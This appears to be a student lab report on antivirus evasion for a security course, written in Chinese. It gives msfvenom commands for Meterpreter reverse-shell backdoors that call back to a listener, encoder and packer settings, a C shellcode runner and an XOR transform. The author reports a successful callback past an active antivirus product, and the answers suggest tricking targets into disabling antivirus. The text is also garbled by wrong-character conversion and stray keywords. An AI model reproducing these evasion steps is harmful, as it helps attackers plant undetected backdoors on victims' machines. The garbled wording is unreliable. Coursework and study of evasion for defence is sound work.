20165230 Exp3 免殺原理與實踐

1.實驗內容

  • 1.正確使用msf編碼器,msfvenom生成如jar之類的其餘文件,veil-evasion,本身利用shellcode編程等免殺工具或技巧;(1.5分)
  • 2.經過組合應用各類技術實現惡意代碼免殺(1分)
    (若是成功實現了免殺的,簡單語言描述原理,不要截圖。與殺軟共生的結果驗證要截圖。)
  • 3.用另外一電腦實測,在殺軟開啓的狀況下,可運行並回連成功,註明電腦的殺軟名稱與版本(1分)

2.基礎問題回答

(1)殺軟是如何檢測出惡意代碼的?java

  • 基於特徵碼的檢測:惡意代碼中通常會有一段有較明顯特徵的代碼也就是特徵碼,若是殺毒軟件檢測到有程序包含的特徵碼與其特徵碼庫的代碼相匹配,就會把該程序看成惡意軟件。
  • 啓發式惡意軟件檢測:啓發式Heuristic,簡單來講,就是根據些片面特徵去推斷。一般是由於缺少精確斷定依據。對惡意軟件檢測來主說,就是若是一個軟件在幹一般是惡意軟件乾的事,看起來了像個惡意軟件,那咱們就把它當成一個惡意軟件吧。典型的行爲如鏈接惡意網站、開放端口、修改系統文件,典型的「外觀」如文件自己簽名、結構、廠商等信息等。各個廠商會定義本身的檢測模式。
  • 基於行爲的惡意軟件檢測:經過對惡意代碼的觀察、研究,有一些行爲是惡意代碼的共同行爲,並且比較特殊。因此當一個程序在運行時,殺毒軟件會監視其行爲,若是發現了這種特殊的行爲,則會把它當成惡意軟件。

(2)免殺是作什麼?python

  • 經過假裝,加解密,對shellcode進行變形,利用veil進行重寫重編譯等手段防止生成的後門被殺軟檢測出來

(3)免殺的基本方法有哪些?算法

  • 改變特徵碼shell

    • 若是你手裏只有EXE
      • 加殼:壓縮殼 加密殼,使其沒法進行逆向,比對病毒庫中的特徵碼
    • 有shellcode(像Meterpreter)
      • 用encode進行編碼
      • 基於payload從新編譯生成可執行文件
    • 有源代碼
      • 用其餘語言進行重寫重編譯(veil-evasion)
      • 半手工
  • 改變行爲
    • 通信方式
      • 例如以前注入所用到的反彈端口鏈接
      • 使用隧道技術
      • 加密通信數據
    • 操做模式
      • 基於內存操做
      • 減小對系統的修改
      • 加入混淆做用的正常功能代碼
  • 很是規方法
    • 使用一個有漏洞的應用當成後門,編寫攻擊代碼集成到如MSF中
    • 使用社工類攻擊,誘騙目標關閉AV軟件
    • 純手工打造一個惡意軟件

3.實驗內容

任務一:正確使用免殺工具或技巧

使用msf編碼器,msfvenom生成如jar之類的其餘文件

  • Msfvenom是Metasploit平臺下用來編碼payloads免殺的工具。以Metaspliot的知名度和普及度。理所固然,全部AV廠家都盯着呢,一有新編碼算法,立刻就得加到特徵庫裏。經過編碼後,按理論上講,編碼會下降檢出率,大不了多編碼幾回,總會檢不出來。
  • 編碼一次命令以下(用-e參數編碼):
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai  -b ‘\x00’ LHOST=192.168.19.129 LPORT=5230 -f exe > 20165230_backdoor.exe

  • 放去virscan掃描,結果有點慘,有29個掃描了出來。
    編程

  • 編碼十次命令以下(用-i參數指定編碼次數):vim

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.19.129 LPORT=5230 -f exe > 20165230_back2.exe

  • 再放去掃描,少了1個,但感受沒有多大效果。
    windows

  • 生成.jar文件夾
    msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.19.129 lport=5230 x> 20165230_backdoor_java.jar
    數組

  • msfvenom生成php文件:
    msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.19.129 lport=5230 x> 20165230_backdoor.php
    安全

使用veil-evasion

  • 竟然安裝了一天也沒有安裝出來,總是卡在展開對象那裏,去網上搜也沒有找到解決方案,最後實在沒辦法去拷貝了學長的虛擬機 TAT
  • 下面是學長博客裏的正常安裝方法:

    在Kali終端中使用sudo apt-get install veil安裝,若遇到問題則用sudo apt-get updatesudo apt-get upgrade這兩個命令更新一下軟件包便可:
    以後用veil命令打開Veil,輸入y繼續安裝直至完成

  • 在終端中使用veil命令進入應用,輸入use evasion進入veil-evasion
    輸入use python/meterpreter/rev_tcp.py

  • 而後設置回連IP(此處IP是kali)和端口,輸入generate生成文件,接着輸入你想要payload的名字:veil_c_5230:

  • 而後生成了可執行文件。

  • 看看Viruscan的掃描結果怎麼樣,咦還不錯,只有15個了!

本身利用shellcode編程

Linux平臺交叉編譯Windows應用

  • 使用命令msfvenom -p windows/meterpreter/reverse_http LHOST=192.168.19.129 LPORT=5230 -f c生成一個c語言格式的shellcode數組

  • vim shell1.c命令新建一個c文件,將生成的shellcode粘貼到其中,並在以後添加主函數
int main() 
{
    int (*func)() = (int(*)())buf; 
   func();
 }

  • 再用i686-w64-mingw32-g++ shell1.c -o shell1.exe命令生成可執行文件
  • 將後門shell1.exe傳到Windows 7並嘗試回連:
1.在kali中輸入指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.19.129 LPORT=5230 -f exe > shell1.exe注意這裏的IP地址爲控制端IP,即LinuxIP,生成後門程序

2.在Windows下執行ncat.exe -l 5230 > shell1.exe,這樣被控主機就進入了接收文件模式

3.在kali中經過nc 192.168.19.128 5230 < shell1.exe將生成的後門程序傳送到Windows主機上.注意這裏的IP爲被控主機IP,即WindowsIP
  • 回連先ping通,而後再作是沒有問題的

  • 仍是同樣用Viruscan掃描一下

  • 發現並無改進啊!

  • -e指定生成shellcode的編碼方式,生成新的shellcodemsfvenom -p windows/meterpreter/reverse_https -e x86/bloxor LHOST=192.168.19.129 -f c

  • 仍是不行!!

接下來我換了N種方式變換了主函數,從新生成了shellcode,不斷用ncat在兩臺虛擬機之間傳輸exe,依然沒用,個人心裏是崩潰的

  • 再試一下老師提供的方法!
  • 。。。被刪除了

加殼處理

upx壓縮殼

  • upx是一種壓縮程序,能夠實現加殼的功能,Kali下輸入命令upx shellupx.exe -o shellupx.upxed.exe

  • 再去掃一遍,emmmmm,這個殼好像也沒用

Hyperion加密殼

  • 進入目錄/usr/share/windows-binaries/hyperion/中;
  • 輸入命令wine hyperion.exe -v shell5.upxed.exe shell5.upxed.Hyperion.exe進行加殼:

  • 再去掃一遍,咦,稍微好了一點點點,不過仍是不要加殼了吧

任務二:經過組合應用各類技術實現惡意代碼免殺

對shellcode進行免殺變形

  • 思路是在上一步裏msfvenom生成shellcode的基礎上加上了對每一位進行加2運算,並將shellcode與0x5f相異或,使用的codeblocks編譯

在經歷了N次失敗後,已經快要沒有信心了,後來我以前相同的代碼在主機的Codeblocks編譯生成exe,再放去viruscan裏掃描 竟然成功了!也太神奇了吧

  • 也沒有被殺軟殺!360和騰訊管家都開了

  • 再回連一下,OK!!

veil+加殼

  • 將以前的veil生成的veil_5230.exe,拷貝到/usr/share/windows-binaries/hyperion/目錄中
  • 進入目錄/usr/share/windows-binaries/hyperion/中
  • 輸入命令wine hyperion.exe -v sxx_upxed.exe sxx_upxed_Hyperion.exe進行加殼
  • 最後放到viruscan裏,發現加殼真的很雞肋。。。最開始veil生成的exe掃描出來結果是15,這樣的方式竟然是21!

任務三:用另外一電腦實測,在殺軟開啓的狀況下,可運行並回連成功,註明電腦的殺軟名稱與版本

  • 實驗環境:被控機是Win0實體機,裝有騰訊電腦管家(12.14.19590.218)
  • 攻擊成功,能夠查看她的文件夾

4.實踐總結與體會

  • 此次實驗花了N多天時間,才最終完成,整個過程確實煎熬,先是配置veil不成功,虛擬機崩了兩次,再是不論怎樣組合shellcode掃描的結果都不變,還有在實驗過程當中保存在桌面的實驗截圖忽然不見了,被系統刪掉了,又只有從新截圖,在期間看了不少博客,確是收穫了很多。對免殺技術也有了進一步的掌握,讓我對病毒的認識有了進一步的提高,同時深入看出了當今殺毒軟件的脆弱以及各殺毒軟件之間水平的差別,因此,謹慎當心對於咱們這個行業的學生來講是很是重要而且安全威脅是近在眼前的!

5.離實戰還缺些什麼技術或步驟?

  • 如何隱藏後門,讓別人不經意觸發後門實現控制,
  • 如何讓後門自啓動
相關文章
相關標籤/搜索